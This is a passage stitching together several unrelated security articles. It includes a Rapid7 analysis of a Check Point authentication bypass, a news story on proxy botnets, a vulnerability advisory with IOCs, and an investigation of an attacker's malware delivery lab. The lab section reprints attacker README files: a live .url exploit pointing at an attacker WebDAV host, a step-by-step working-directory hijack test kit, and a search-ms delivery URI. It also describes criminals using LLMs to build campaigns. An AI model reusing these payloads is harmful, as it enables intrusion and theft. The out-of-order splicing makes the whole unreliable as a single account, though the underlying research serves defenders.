The next step is to perform a gen-sso-token request. The forged application session asks FWM to create a SmartConsole ticket whose original client claims system_admin, local SOAP binding, and a permission bitmap indicating full permissions (i.e. all permission bits are set):
The native FWM authorization code has a special case for this command. If the current client is treated as a Check Point config administrator (which it will be), a gen-sso-token request is allowed before the normal permission mask check, as shown in [1] below.
// Source: work/native_patch/t146/fw1/fw1/bin/fwm.full (fwm_is_authorized)
_BOOL4 __cdecl fwm_is_authorized(int a1, int a2, int a3)
{
int v3; // eax
int v4; // eax
int v5; // eax
bool v6; // zf
int v7; // edx
int v9; // [esp+14h] [ebp-34h]
int v10; // [esp+18h] [ebp-30h]
const char *v11; // [esp+1Ch] [ebp-2Ch]
_DWORD v12[7]; // [esp+2Ch] [ebp-1Ch] BYREF
v11 = *(const char **)a2;
v10 = CPMIGetClientPermission(a1);
v12[0] = 0;
v9 = CPMIGetClientAdvancedPermission(a1);
fwobj_getint(a1, g_szCPMI_SOAP_LOCAL_BIND, v12);
if ( v12[0] != 1 )
{
if ( is_fwmalert_client(a1) && strcmp(v11, "fwm-alert") )
return 0;
v3 = fwobj_safe_get(a1, g_szCPMI_LOWER_NAME);
if ( strcmp(v11, "gen-sso-token") || !fwm_isCpconfigAdmin(v3) ) // <-- [1]
{
// Normal command permission checks follow.
// ...
return 0;
}
}
return 1;
}
The gen-sso-token response contains a new SSO ticket. The attacker then redeems that ticket through the normal SmartConsole SOAP login path. The request below shows only the fields that matter to this analysis:
At this point, the attacker has moved from unauthenticated network access to a SmartConsole session identified by sid and clientSessionId. Ticket redemption is also the step that produces the advisory's log based IOC, with a message “Authentication method: application token” logged in the audit log, as shown in Figure 2 below.
Figure 2: Audit Log IOC.
Exploitation
Our PoC implements the minimum SIC/CPMI bootstrap needed to obtain the application token, mint the SmartConsole ticket, redeem it over SOAP, and display the results of several privileged operations before and after ticket redemption .
The following shows our PoC running against a vulnerable R81.20 target.
For the purpose of demonstrating the vulnerability and the level of access the authentication bypass achieves, the PoC uses the authentication bypass to access some protected resources. Specifically, the PoC retrieves some basic system information via a call to getServerInfo, and retrieves the SmartConsole admin accounts via a call to GetAllAdmins.
First, the PoC uses the application token as a DLESESSIONID value for PerformanceTestSvcRemote.getServerInfo. The same SOAP method returns a fault without a valid session, while the application token returns the server information
The PoC then sends the same GetAllAdmins query twice, once with the application token and once with the redeemed SmartConsole session.
Using only the application token receives a successful query response with zero visible records, while using the redeemed SmartConsole session receives all records available.
Running the same PoC against a patched R82.10 target shows the malicious application bind request failing.
$ python3 CVE-2026-16232.py --target 192.168.86.16
[+] Targeting: 192.168.86.16
[+] SIC/CPMI connected
[+] Forged application DN: cn=cp_mgmt,o=gw-5622cc..tmbpin
[-] Application bind failed. The target is likely patched and not vulnerable.
Remediation
For remediation guidance, please see Rapid7’s Emergent Threat Response blog for CVE-2026-16232 which contains further details.
Botnets powered by residential proxy networks are proliferating, enabling cybercriminals of all types to evade detection by blending in with seemingly legitimate traffic, Lumen Technology’s Black Lotus Labs said in a report Friday.
The global scale of botnets observed by Lumen is currently approaching 60 million victim IP addresses, Chris Formosa, senior lead information security engineer at Black Lotus Labs, told CyberScoop. Roughly 1 in 4 of those compromised IPs are based in the United States, and the true number of infected devices is much greater because there are networks beyond Lumen’s visibility and multiple devices are often unknowingly running a malicious proxy network on the same IP.
Super-sized botnets are also gaining momentum, according to Lumen, with an average of 10 distinct botnets controlling their own populations of about 1 million active victims daily.
“The only reason these botnets keep getting more and more victims is because there is clearly a market. Aside from criminal activity, who wants access to millions of IPs regularly?” Formosa said.
That demand for botnets fuels opportunities for growth, reselling, collaboration, and quick rebounds following massive disruptions.
IPIDEA, one of the largest residential proxy networks in operation when its infrastructure was disrupted by coordinated strikes in January, recovered at nearly half-strength within hours and earlier this surpassed its pre-disruption botnet size with a current botnet population of about 10 million IPs, researchers said.
“Their rebuild was eye-opening as they began to rebound from that interdiction,” Ryan English, information security engineer at Black Lotus Labs, told CyberScoop. “Even for how quickly some botnets can rebound, theirs was surprising. We’ve seen them all rebuild, but we haven’t seen anybody do it that fast.”
Meanwhile, botnets are continuously growing, as cybercriminals seek out the cover they provide, more cheap and poorly defended devices hit the market and vendors stop providing security updates for older but still usable products.
“Your available pool for those proxy hunters grows every year, and it will continue to grow every year,” English said, adding that more than 1 billion devices are currently vulnerable and available to be unknowingly sucked up into botnets.
The challenge for defenders is lopsided, and while disruptions and seizures occur relatively often, botnet operators have formed a global supply chain with pathways that are difficult to break.
“We have observed multiple residential proxy services collaborating to form what amounts to the largest cooperative network ever seen on the internet,” researchers wrote in the report.
Black Lotus Labs currently tracks more than 30 distinct malicious proxy botnet clusters, and most of those regularly boast more than 100,000 daily victims.
“Our understanding of the various botnets in this space, along with experience in multiple disruptions, leads us to a very important conclusion: taking down a single malicious proxy provider or their botnet in isolation is likely to result in a short-lived solution,” researchers wrote.
“In recent years, the malicious proxy environment has essentially created the largest collective botnet currently active on the internet, capable of moving millions of IPs within hours to wherever they are needed,” they added. “Until the malicious proxy landscape is properly addressed and regulated on both the private industry and law enforcement sides, this issue will grow and, along with the DDoS botnet landscape, will most likely become a greater problem in the long term.”
On July 22, 2026, Check Point published a security advisory for multiple vulnerabilities affecting Security Management, Multi-Domain Management, and firewall products. The most urgent of these is CVE-2026-16232, an authentication bypass in the SmartConsole login process classified as improper authentication (CWE-287). CVE-2026-16232 has been assigned a critical CVSS score of 9.1. The vulnerability allows an unauthenticated remote attacker to obtain an application login token and authenticate to the management server with full administrative privileges, enabling modification of security policies and configurations.
Check Point has confirmed that CVE-2026-16232 is being actively exploited in the wild, affecting what the vendor describes as a small number of customers. Remote exploitation requires network access to the Management Server IP address in environments that do not restrict Trusted Clients. On the same day as the advisory, CVE-2026-16232 was added to the U.S. Cybersecurity and Infrastructure Security Agency's (CISA) list of known exploited vulnerabilities (KEV), with a remediation due date of July 25, 2026, giving organizations only three days to respond.
The advisory addresses three vulnerabilities in total:
CVE
CVSS
Description
Affected Products
Exploitation Status
CVE-2026-16232
Vendor: 9.3 (Critical) CISA: 9.1 (Critical)
Authentication bypass via SmartConsole application token
Security Management, Multi-Domain Management
Exploited in the wild
CVE-2026-62144
Vendor: 9.3 (Critical) CISA: 9.1 (Critical)
Management authentication bypass and privilege escalation
Security Management, Multi-Domain Management
No known exploitation
CVE-2026-62145
7.5 (High)
Local privilege escalation in GaiaOS WebUI
Firewall, Multi-Domain Management, Multi-Domain Log Server
No known exploitation
Compromise of a Security Management Server is particularly consequential because it sits at the top of the trust hierarchy. An attacker with administrative access can modify security policies across managed gateways, alter administrator permissions, manipulate VPN configurations, and potentially disable or tamper with logging and monitoring. According to Check Point's advisory, the vulnerabilities were discovered during a routine internal review, with subsequent analysis revealing that CVE-2026-16232 had been exploited prior to the availability of a patch.
Check Point network security products have been targeted by multiple in-the-wild vulnerabilities over the past two years. In June 2026, CVE-2026-50751, a critical authentication bypass in Check Point Remote Access VPN, was exploited in the wild and added to the CISA KEV. In May 2024, CVE-2024-24919, a high-severity information disclosure vulnerability in Check Point Quantum Security Gateways, was also exploited in the wild. Organizations running affected Check Point management products should apply the available hotfixes on an emergency basis.
Technical analysis
On July 28, 2026, Rapid7 Labs published a full root cause technical analysis of CVE-2026-16232. Our analysis details the vulnerability and how an unauthenticated attacker can exploit the vulnerability to login to a vulnerable appliance via SmartConsole with full admin privileges.
Mitigation guidance
Check Point released Jumbo Hotfixes on July 22, 2026, to remediate CVE-2026-16232, CVE-2026-62144, and CVE-2026-62145. Organizations running affected versions of Security Management or Multi-Domain Management should install the latest Jumbo Hotfix on an emergency basis, without waiting for a regular patch cycle to occur.
The following versions are affected by CVE-2026-16232:
R82.10: fixed in Jumbo Hotfix Take 36 and later
R82: fixed in Jumbo Hotfix Take 118 and later
R81.20: fixed in Jumbo Hotfix Take 158 and later
R81.10, R81, R80.30, R80.20, R80.10, R80, and R77.30: no fix specified
CVE-2026-62144 and CVE-2026-62145 affect the same release families (R81.10, R81.20, R82, R82.10) per the vendor advisory, with older versions also impacted.
Smart-1 Cloud customers are already protected according to Check Point. For on-premises deployments where the hotfix cannot be applied immediately, Check Point recommends the following steps to reduce exposure:
Restrict Trusted Clients (GUI clients) to trusted IP addresses or subnets
Protect Management access with a firewall and restrict access to trusted IP addresses
Verify that implied rules for control connections are enabled
These mitigations reduce the attack surface, but they do not address the underlying vulnerability. Installing the Jumbo Hotfix remains the priority.
Rapid7 strongly recommends investigating for signs of compromise even after applying the hotfix, particularly in environments where the Management Server has been accessible from the internet. Organizations should review administrator, SmartConsole, API, and application token activity, and search logs for the published indicators of compromise listed below.
For the latest mitigation guidance, please refer to the vendor advisory.
Rapid7 customers
Exposure Command, InsightVM, and Nexpose
Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-16232, CVE-2026-62144, CVE-2026-62145 with authenticated vulnerability checks available in the 24 July content release.
Indicators of compromise
Check Point has published the following IP addresses associated with observed exploitation of CVE-2026-16232:
151.241.99[.]207
151.241.99[.]233
158.62.198[.]182
192.142.10[.]99
139.28.37[.]250
194.213.18[.]137
Per the vendor, the presence of these indicators should prompt investigation, but the absence of these addresses does not confirm that an environment was unaffected.
Updates
July 23, 2026: Initial publication.
July 24, 2026: Updated to reflect availability of vulnerability checks.
July 28, 2026: Added a Technical analysis section for the new Rapid7 Analysis.
An MDR alert recently led our team to an exposed server that was doing more than hosting payloads. It was functioning as a fully operational malware delivery lab. Containing over 1,000 artifacts, the infrastructure served as a QA hub where attackers systematically tested delivery paths, social engineering lures, and WebDAV execution methods.
Our analysis reveals an interesting shift in adversary operations: attackers are adopting generative AI to move beyond individual exploits and operate like modern software product teams. By leveraging LLMs for rapid lure generation, detailed README documentation, and automated testing, they are significantly accelerating their development cycle.
This incident underscores the imperative of preemptive security. By unifying exposure management with detection and response, we did not just catch a single campaign; we gained visibility into the attacker’s entire delivery pipeline. Although the server hosted many malware samples, the more interesting find was the view into the attacker’s workflow. The exposed infrastructure showed how the operator tested delivery paths, packaged lures, staged payloads, and monitored delivery activity. All of it with the help of generative AI.
Introduction: From MDR alert to attacker infrastructure
The investigation started with an MDR alert after a user executed a file pulled from a WebDAV server using rundll32.exe. Telemetry showed the WebClient service starting, followed by davclnt.dll reaching out to a remote host to retrieve content.
That initial hit led us to dig deeper into the delivery setup, which is how we ended up finding an exposed directory. It quickly became clear to us that the server wasn't just hosting files, but also was used as an active malware testing and delivery hub. Alongside payloads, we found bulk-generated shortcut lures, URL-based execution tests, ClickFix pages, WebDAV initialization scripts, droppers, spoofed filenames, and operator notes.
At a high level, the 1,048 files clustered as follows:
Category
Files
Functions and discoveries
LNK delivery launchers
453
Bulk-generated shortcut lures using document themes, spoofed filenames, fake icons, and multiple execution paths
Filename-spoofing QA
236
Tests for Unicode, double-extension, padding, and browser/Explorer rendering behavior
URL/LOLBin execution tests
146
Experiments with signed Windows binaries, remote working directories, and WebDAV-style execution
Encrypted droppers
89
Staged second-stage payloads and installer-style packages
Alternative execution containers
24
search-ms, library-ms, .cpl, and related delivery containers
Payload stubs and spoofed executables
21
Smaller loaders, decoys, and renamed binaries
WebDAV scripts
17
Scripts intended to make WebDAV delivery more reliable on Windows systems
Builder and operator notes
10
README files, test reports, mappings, and generation scripts
ClickFix HTML lures
9
Browser-based social-engineering pages instructing users to run commands
Miscellaneous files
6
Included documentation for the actor’s WebDAV delivery/admin panel
Table 1: Breakdown of files recovered from the attacker’s delivery workspace
Technical analysis and observed attacker behavior
Attackers testing like a product team
The open directory exposed the attacker’s payloads and testing process. The collection varied by function: some folders stored payloads, while others isolated individual delivery methods, including WebDAV, UNC paths, search-ms, library-ms, Control Panel items, and trusted Windows binaries. Several directories appeared to be QA areas for testing how lures are rendered in browsers and Windows Explorer. These tests included Unicode spoofing, right-to-left override (RTLO) characters, double extensions, and padding tricks used to make executables look like documents.
The directory also contained several README files. Their structure and phrasing suggested they may have been generated with LLMs. Some folders were named testik and testik2, a Russian diminutive form of “test”.
Figure 1: Snippet of one of many subfolders containing testing files.
⠀
Looking at the artifacts from the open directory, we saw that the attacker was testing some specific CVEs.
CVE
Observed samples
Short description
CVE-2025-33053
11
Windows Internet Shortcut flaw involving external control of a file name or path, allowing code execution over a network. (nvd.nist.gov)
CVE-2026-21513
4
MSHTML Framework security feature bypass caused by protection-mechanism failure. (nvd.nist.gov)
CVE-2025-24054
1
Windows NTLM spoofing issue where crafted file/path handling can trigger outbound authentication and leak NTLM material; observed tradecraft commonly involved .library-ms files. (nvd.nist.gov)
Table 2: CVE references observed in the exposed directory.
The most developed test set focused on CVE-2025-33053, the working-directory abuse technique reported by Check Point in its analysis of Stealth Falcon activity. It appears as though the threat was trying to reproduce or adapt the reported technique with the help from README that appears to have been generated with LLMs. At a high level, the technique abuses .url shortcut behavior to launch a legitimate signed Windows binary while setting its working directory to an attacker-controlled WebDAV share. In the original reporting, the binary was iediagcmd.exe, an Internet Explorer diagnostics utility. When invoked, that utility launches several child processes by name. If the working directory points to a remote WebDAV location controlled by the attacker, Windows may resolve those child process names from the remote share instead of the expected local system directory.
The README files closely mirrored this logic. They called out iediagcmd.exe as the preferred binary, referenced the same WebDAV working-directory pattern described in the Stealth Falcon reporting, and preserved the previously reported summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr path as an example. So if you ever wonder who reads your blogs, it seems like attackers do.
CVE-2025-33053 (Stealth Falcon APT) - Test Setup
=====================================================
WHAT IS THIS?
This .url file abuses iediagcmd.exe to execute a file from WebDAV
WITHOUT any security warnings. Zero alerts!
HOW IT WORKS:
1. .url file contains URL=path to iediagcmd.exe (legitimate IE tool)
2. .url sets WorkingDirectory to WebDAV share
3. When clicked: iediagcmd.exe starts with cwd = WebDAV
4. iediagcmd internally calls: route.exe, ipconfig.exe, netsh.exe, ping.exe
5. Process.Start() searches in working directory FIRST
6. WebClient auto-starts when accessing WebDAV
7. Attacker's route.exe (renamed putty.exe) runs from WebDAV
8. NO SmartScreen, NO MoTW warnings!
REQUIREMENTS TO MAKE TEST WORK:
================================
1. iediagcmd.exe MUST exist on victim machine
Path: C:\Program Files\Internet Explorer\iediagcmd.exe
- Win10 (1607-22H2): YES
- Win11 21H2/22H2/23H2: usually YES
- Win11 24H2 (IE removed): NO (this is why your F-series failed!)
- Check on victim:
dir "C:\Program Files\Internet Explorer\iediagcmd.exe"
2. WebDAV MUST have file named EXACTLY "route.exe"
NOT putty.exe! iediagcmd will only execute these names:
- route.exe
- ipconfig.exe
- netsh.exe
- ping.exe
On your WebDAV server, RENAME putty.exe to route.exe
Place at: \\TA_C2\Downloads\route.exe
3. Microsoft patch from June 2025 MUST NOT be installed
Check: Get-HotFix | Where-Object {$_.HotFixID -match "KB5060"}
If patched, exploit fails.
ALTERNATIVE LOLBINS (if iediagcmd.exe missing):
================================================
F4_CustomShellHost_explorer.url - uses CustomShellHost.exe
(mentioned in CheckPoint report - spawns explorer.exe)
F5_OfficeC2RClient_alternative.url - uses Office C2R client
(if Office is installed)
REAL ATTACK PAYLOAD WAS:
[InternetShortcut]
URL=C:\Program Files\Internet Explorer\iediagcmd.exe
WorkingDirectory=\\summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr
ShowCommand=7
IconIndex=13
IconFile=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Modified=20F06BA06D07BD014D
Figure 2: Contents of README, likely generated by LLM, found in the exposed directory. ⠀
The testing approach was methodical and included the below:
Transports: WebDAV over @80 and @ssl@443
Path formats: DavWWWRoot vs. plain UNC
Fallback LOLBins: CustomShellHost.exe, OfficeC2RClient.exe, and many more for hosts where iediagcmd.exe is absent
Shortcut launchers: PowerShell IEX (New-Object Net.WebClient).DownloadString(...), hidden/minimized windows
Explorer containers: search-ms: queries and .library-ms files exposing remote payloads
ClickFix pages: relying on user copy/paste execution
Filename spoofing: RTLO (U+202E), double extensions, and whitespace padding before .exe / .scr
The lure factory
The lure themes were broad and familiar: invoices, privacy policies, contracts, signed documents, finance reports, Labcorp-themed reports, salary statements, and notification policies.
Judging by the lure themes, we concluded that the attacker is targeting enterprise Windows users who are likely to open routine documents.
The threat actor also invested heavily in making files look “safe”. Many lure names mimicked PDFs or office documents. Others used fake icons associated with common software. Some attempted to hide arguments or launch windows minimized. Clearly, the goal was to make malicious execution feel like ordinary document handling.
The directory also contained ClickFix HTML lures. These pages mimicked familiar services, application errors, and document-access workflows to convince users to copy and run a command. The lures were disguised as Cloudflare verification checks, Adobe or Word document errors, Microsoft login pages, Chrome update messages, and Discord-themed notices. Filenames such as Fix_Connection_Error.html, Update_Required.html, Secure_Document_Access.html, Verification_Failed.html, and Open_Document_Instructions.html show how the actor repackaged the same execution pattern under different social-engineering themes.
The commands typically launched PowerShell to fetch remote content, used cmd.exe to open payloads from WebDAV or UNC paths, or used utilities like rundll32 and mshta to proxy execution. Many referenced attacker-controlled paths, temporary directories, hidden windows, or encoded arguments to reduce visibility.
The payload chains
The exposed directory contained many payloads, but we did not reverse every binary in the collection. We initially started with reverse engineering, but after analyzing several chains, we found repeated packaging patterns and suspected that some staged files may have led to the same or closely related final payloads.
We therefore shifted from exhaustive reverse engineering to triage. We reviewed several files, including DlrtyGames, CursorSetup, ReportFinal.rsc.pdf, ReportFina.exe and pdfgear_setup_v2.1.16.exe, and prioritized payloads that either represented distinct delivery approaches or were tied to observed campaign activity.
Our main focus became the most commonly delivered file in the most recent CURP campaign, based on artifacts we found in cPanel. This gave us the clearest link between the exposed delivery infrastructure and active campaign activity.
This scope is intentional. This post is about the attacker’s delivery workflow, not a full reverse-engineering report for every sample in the directory. We use the payload analysis to show how the operator packaged lures, staged loaders, tested execution methods, and moved from delivery to final payload execution.
Case study 1: CURP campaign targeting Mexico
Our MDR alert began with a user who landed on the phishing site www[.]gobf[.]mx, a typosquat impersonating the Mexican government's CURP (Clave Única de Registro de Población) national-ID lookup service at https://www.gob.mx/curp/. The phishing site presented a convincing single-page application that asked victims to enter CURP identity data and retrieve an official record.
Figure 3: Phishing page impersonating Mexico’s CURP lookup service, with browser developer tools showing the embedded WebDAV delivery logic.
⠀
The site’s client-side JavaScript handled the fake ID lookup flow and then triggered payload delivery when the victim clicked the download button. Instead of downloading a PDF directly, the script invoked a search-ms: URI that opened the operator’s remote WebDAV share as a Windows Explorer search view filtered to .scr files:
search-ms:displayname=Search Results in \\onedrive.cv@80\Downloads\CURP
&query=*.scr
&crumb=location:\\onedrive.cv@80\Downloads\CURP
⠀ It's worth mentioning that the malicious Javascript with russian comments appears to be also generated with the help of GenAI. As you can see in the screenshot above it contains emojis and comments which are very typical for the LLM models.
The exposed Simba Service panel tied this phishing flow back to the attacker’s delivery infrastructure. The CURP folder was the most-accessed campaign folder, with 2,384 recorded interactions. The same count appeared for ReportFinal.rcs.pdf, making it the clearest link between the phishing site, the WebDAV delivery path, and active campaign activity.
Figure 4: Simba Service WebDAV dashboard showing the exposed delivery workspace, with the CURP folder recorded as the most-accessed campaign folder at 2,384 interactions.
⠀
Although ReportFinal.rcs.pdf appeared to be a PDF, it was actually a right-to-left override (RTLO) masqueraded .scr executable built with a Delphi/Inno Setup installer. Once executed, it extracted and launched the Fo-Binary.exe loader, initiating the multi-stage infection chain.
Figure 5: Execution chain for the ReportFinal.rcs.pdf lure, from RTLO-masqueraded .scr file to in-memory stealer execution and C2 exfiltration.
⠀
The final payload was an unknown .NET information stealer, operated entirely fileless-ly to evade disk-based detection. The execution sequence followed as such:
Decryption: The Fcqleh loader decrypted the embedded payload using AES and GZip.
Reflective Loading: The loader mapped the payload directly into memory using the Assembly.Load(byte[]) API.
Process Injection: The malicious code was executed inside a legitimate, EV-signed Qihoo 360 process via process hollowing, allowing the malicious code to run under a trusted signed process image.
The decrypted in-memory configuration exposed the payload’s feature set and version 4.4.3. It also contained the build tag 06x12x2026SantaEbash2, which matched toolkit timestamps from June 12, 2026.
Once running, the stealer targeted cryptocurrency assets, browser data, messaging sessions, and local application data. Its collection logic included around 20 desktop wallet clients and browser wallet extensions, saved browser usernames, passwords, cookies, session tokens, the Telegram tdata session database, Foxmail data, and a screenshot of the victim’s desktop.
The payload also included anti-analysis checks. The payload checked for the COR_PROFILER environment variable and called IsDebuggerPresent. If the malware detected that it was being monitored or debugged, it immediately called FailFast to kill the process. The stealer also delayed decrypting its watchlist and collection configuration until after a successful C2 handshake, preventing its full functionality from being revealed in isolated sandboxes.
Collected data was exfiltrated to 77[.]110.127.205 (alias google.services.ug, certificate CN=Eglgyqnoa) over SslStream (TLS without SNI) and raw Socket.The stolen data was sent as a multipart HTTP POST request to /c2.
Based on the analyzed behavior, the final payload was PureRAT 4.4.3, a .NET-based information stealer and remote access trojan.
Case study 2: The "DlrtyGames" sideloading chain
While the ReportFinal lure used an Inno Setup installer to launch a fileless stealer, a second campaign directory on the server, DlrtyGames, showed a different delivery architecture. This chain was built to deploy a modular RAT through DLL sideloading, IDAT, process hollowing, and persistence.
The DlrtyGames chain began with a silent 7-Zip SFX dropper, DlrtyGames.exe. It extracted a benign, signed Ubisoft binary, Volt_Droid.exe, into the victim’s temporary directory alongside a trojanized dependency, discord-rpc.x64.dll.
Figure 6: DlrtyGames execution chain showing the flow from 7-Zip SFX dropper to DLL sideloading, IDAT-based payload loading, process hollowing, and .NET RAT execution.
⠀
Volt_Droid.exe used DLL sideloading to load discord-rpc.x64.dll. This decoded its configuration, resolved APIs by hash, and manually mapped profiler16.dll. The mapped profiler16.dll stage then read loader-pool.db, a PNG file whose encrypted modules were stored across IDAT chunks. After a 45-second sleep delay, it reassembled and decrypted the embedded content, set up persistence, performed COM auto-elevation through dllhost.exe, and prepared the final hollowing stage.
The final injection stage was handled by an x86 PIC shellcode blob carved from loader-pool.db at offset 0xb516a. That shellcode created signed host processes such as MegArray.exe or Crisp.exe in a suspended state, unmapped their original image, wrote the payload into the process, updated thread context, and resumed execution. The result was a modular .NET RAT running inside a signed host process.
The DlrtyGames payload was a modular RAT with plugins for keylogging, screenshots, window monitoring, and C2 communication. Its keylogger module used plaintext keyword triggers for payment, banking, credit, and cryptocurrency activity, including relaypayments.com, plaid, fiservapps, payoneer, google pay, coinbase, Zelle, paypal, link.com, amazonrelay, Exodus, Electrum, Bitcoin, monero, Seed Phrase, Seed, 12, FCU, Credit Union, Account Overview, Available Balance, Merchant, online access, debit, credit, cvv, card, settlement, fees, loans, bank, banking, finance, and invest.
The RAT also targeted browser wallet-extension artifacts and Chrome user data, including cookies and saved login data.
The two chains used different payloads and C2 infrastructure. In case study one, the stealer exfiltrated to 77[.]110[.]127[.]205:56003, while in the case study two stealer chain communicated with 23[.]94[.]252[.]228:57666. Based on our observations, the final RAT payload in both chains was identified as .NET-based PureRAT.
GenAI adoption
Several artifacts make it clear the attacker certainly used LLMs to build and iterate this operation. The directory is packed with structured README files, neatly formatted lure-generation guides, detailed test writeups, and matrix-style outputs that look exactly like templated or generated content.
═══════════════════════════════════════════════════════════════════
WORKING DIRECTORY HIJACKING — COMPREHENSIVE TEST KIT
for Windows 11 24H2
═══════════════════════════════════════════════════════════════════
This kit contains 59 .url files targeting different Windows binaries
that POTENTIALLY have the same Working Directory hijacking issue as
CVE-2025-33053 (Stealth Falcon, iediagcmd.exe).
ALL .url files use this exact format (same as the real APT attack):
[InternetShortcut]
URL=C:\path\to\target.exe <- legitimate binary
WorkingDirectory=\\[REDACTED]@80\Downloads <- WebDAV (triggers WebClient!)
ShowCommand=7 <- start minimized (hide alert windows)
IconIndex=13 <- (decoy icon)
IconFile=msedge.exe <- (decoy icon)
═══════════════════════════════════════════════════════════════════
HOW TO TEST (5 minutes)
═══════════════════════════════════════════════════════════════════
STEP 1: Upload ALL files from WEBDAV_PAYLOADS/ folder to:
\\[REDACTED]\Downloads\
(59 test files - each is 5KB MessageBox popup exe)
STEP 2: Copy I_LOLBIN_URLS/ folder to your Win11 24H2 machine
STEP 3: Double-click .url files one by one (or all of them in sequence)
- If popup appears -> HIJACK WORKS! Read parent process name in popup.
- If nothing happens / error -> doesn't work, move to next.
STEP 4: Tell me which I-numbers showed a popup. I'll integrate working
ones as new methods in web-renamer.
═══════════════════════════════════════════════════════════════════
PRIORITY TESTING ORDER (most likely to work first)
═══════════════════════════════════════════════════════════════════
TIER 1 - CONFIRMED IN THE WILD:
I01_iediagcmd.url - CVE-2025-33053 (needs pre-June 2025 patch)
I02_CustomShellHost.url - CheckPoint research (may not exist on Server)
TIER 2 - .NET FRAMEWORK TOOLS (always installed if .NET 4.x present):
I03_InstallUtil.url - InstallUtilLib.dll search
I04_RegAsm.url - .NET registration
I05_RegSvcs.url - .NET services
I06_CasPol.url - .NET security policy
I07_ngentask.url - NGen native compile (calls ngen.exe!)
I08_AddInUtil.url - AddIn util (calls AddInProcess.exe!)
I10_dfsvc.url - ClickOnce service
I15_csc.url - C# compiler (may call link.exe)
I16_vbc.url - VB compiler
TIER 3 - WIN11 SYSTEM .NET TOOLS:
I17_LbfoAdmin.url - NIC teaming admin
I19_UevAgentPolicyGenerator.url - UE-V agent (calls .ps1 files!)
I20_UevAppMonitor.url - UE-V monitor
I23_AppVStreamingUX.url - App-V streaming UI
TIER 4 - LOLBAS Execute-EXE binaries:
I26_Pcwrun.url - LOLBAS Execute(EXE)
I28_WorkFolders.url - LOLBAS Execute(EXE,Rename)
I33_stordiag.url - LOLBAS Execute(EXE) - calls systeminfo etc
I36_Provlaunch.url - LOLBAS Execute(CMD) - calls provtool.exe!
TIER 5 - UAC bypass binaries (worth testing):
I49_fodhelper.url, I50_computerdefaults.url, I52_wsreset.url
═══════════════════════════════════════════════════════════════════
THE THEORY (so you understand WHY this works for some and not others)
═══════════════════════════════════════════════════════════════════
For the attack to succeed, the LOLBin must:
1. Be a .NET application, OR call ShellExecute/CreateProcess with bare
name (no full path).
2. Spawn a child process by NAME (e.g. "ipconfig.exe") not by full path
(e.g. "C:\Windows\System32\ipconfig.exe").
3. Be runnable without command-line args.
If ANY of these is false, the hijack fails. Microsoft has been patching
specific binaries (iediagcmd.exe in June 2025) but the general pattern
remains. New vulnerable binaries are discovered regularly.
═══════════════════════════════════════════════════════════════════
WHAT THE POPUP TELLS YOU
═══════════════════════════════════════════════════════════════════
When hijack works, you'll see:
TEST OK - Working Directory Hijack SUCCESS
Executed as: route.exe <- which name was hijacked
Full path: \\[REDACTED]@80\Downloads\route.exe <- ran from WebDAV!
Working dir: \\[REDACTED]@80\Downloads
Parent process: iediagcmd <- which LOLBin spawned it
═══════════════════════════════════════════════════════════════════
NOTES
═══════════════════════════════════════════════════════════════════
* Some I-files may target binaries that DON'T EXIST on your Win11 24H2
(e.g. I02_CustomShellHost was missing on my test Server 2025).
These will silently fail - just move on.
* Some I-files may launch the GUI tool (msconfig, dxdiag, etc.) WITHOUT
triggering any hijack. That's fine - if no popup appears, no hijack.
* See _MAPPING.csv for full mapping of each .url to its target binary
and expected child process names.
Figure 7: Context of README.md found in the exposed directory.
The attacker left a build-time artifact inside the generate_test_lnk.ps1 output. The output directory is hardcoded in the $outDir variable and exposes part of the attacker’s local project tree:
Figure 8: Hardcoded $outDir path exposing the attacker’s local project tree.
⠀ It is therefore apparent that the entire campaign was likely created using the CodeRRR project with the help of LLM to assist with code generation and campaign development.
Another file we found in the directory was Simba_Service_Presentation.htm, which appeared to document an attacker-controlled WebDAV delivery/admin panel. The panel also seems to have been generated with LLM assistance, based on its presentation-style formatting, API-documentation structure, emojis, and implementation details.
Figure 9: Screenshot from the panel with an open presentation about Simba service, showing its architecture.
⠀
Figure 10: Simba service system requirements.
⠀
The most telling artifact was a “comprehensive test kit” that expanded the single CVE-2025-33053 technique into 59 .url files targeting different Windows binaries, such as .NET tools (InstallUtil, RegAsm, RegSvcs, ngentask), system utilities, LOLBAS execute-EXE binaries, and even UAC-bypass candidates. Each file was paired with a stated theory of why the working-directory hijack should work and a priority order for testing.
The directory was saturated with structured README files, neatly formatted lure-generation guides, matrix-style test write-ups, emoji-heavy admin-panel documentation, and a _MAPPING.csv tying each test file to its target binary and expected child process. The consistency, verbosity, and sheer volume of organized artifacts led us to conclude that the attacker likely used an LLM-assisted workflow to do much of the heavy lifting around documentation, structure, and iteration.
# LNK Full Matrix Test — WebDAV Open Methods + Deception Techniques
**Location:** `C:\Users\Administrator\Desktop\LNK-Full-Matrix-Test`
**Total files:** 60
**Generated:** 2026-05-30
---
## Overview / Обзор
This folder contains a complete test matrix of **60 LNK shortcut files** combining all available WebDAV open methods with all LNK Deception Techniques supported by the Web-renamer project.
В этой папке находится полная тестовая матрица из **60 LNK-ярлыков**, объединяющих все доступные WebDAV-методы открытия со всеми техниками обмана LNK, поддерживаемыми проектом Web-renamer.
---
## Naming Scheme / Схема именования
All files follow the pattern:
Все файлы следуют шаблону:
```
HyperPackSetup.<method>.<trick>.<spoof>.lnk
```
- **`HyperPackSetup`** — base filename / базовое имя файла
- **`<method>`** — WebDAV open method (e.g. `curl-http-temp-run`, `direct`, `cmd-start`) / метод открытия WebDAV
- **`<trick>`** — LNK deception technique (`standard`, `SPOOFEXE_HIDEARGS_DISABLETARGET`, etc.) / техника обмана LNK
- **`<spoof>`** — RTLO + homoglyph extension spoof (`ƒdᴘ`) — visually appears as `.pdf` / спуф расширения через RTLO + гомоглифы — визуально выглядит как `.pdf`
- **`.lnk`** — real extension / реальное расширение
> The spoof is applied **only to the extension** at the end, so the method and trick names remain clearly readable.
> Спуф применяется **только к расширению** в конце имени, поэтому названия методов и техник остаются читаемыми.
...
Figure 11: This is a snippet from another README.md. The full README is available on Rapid7 Labs' Github. The text is original, and the translation to Russian was not added by us.
OPSEC is hard
As we mentioned previously, one of the artifacts we found in the open directory was a presentation file documenting a WebDAV delivery/admin panel called “Simba Service.”
Figure 12: Simba service presentation.
⠀
